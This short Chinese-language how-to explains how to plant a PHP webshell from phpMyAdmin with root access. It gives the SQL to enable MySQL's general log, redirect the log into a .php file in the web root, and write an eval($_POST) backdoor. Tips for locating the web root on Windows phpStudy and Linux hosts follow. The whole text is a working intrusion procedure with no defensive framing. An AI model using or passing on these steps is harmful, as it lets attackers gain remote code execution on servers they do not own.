前提
1.可登录phpmyadmin
2.root权限
3.知道网站绝对路径
步骤
1.查看日志是否开启
show variables like ‘%general%‘;
2.开启日志记录
SET GLOBAL general_log=‘on‘;
3.修复日志文件路径
set global general_log_file=‘D:\\phpStudy\\WWW\\shell.php‘;
4.写入webshell
select "<?php eval($_POST[‘gg‘]);?>";
网站路径判断
如果是Windows,判断是不是phpStudy集成环境,可通过mysql的位置尝试定位网站位置(使用sql语句定位mysql位置:select @@datadir;
)
如果是Linux,一般实在/var/www/html
路径下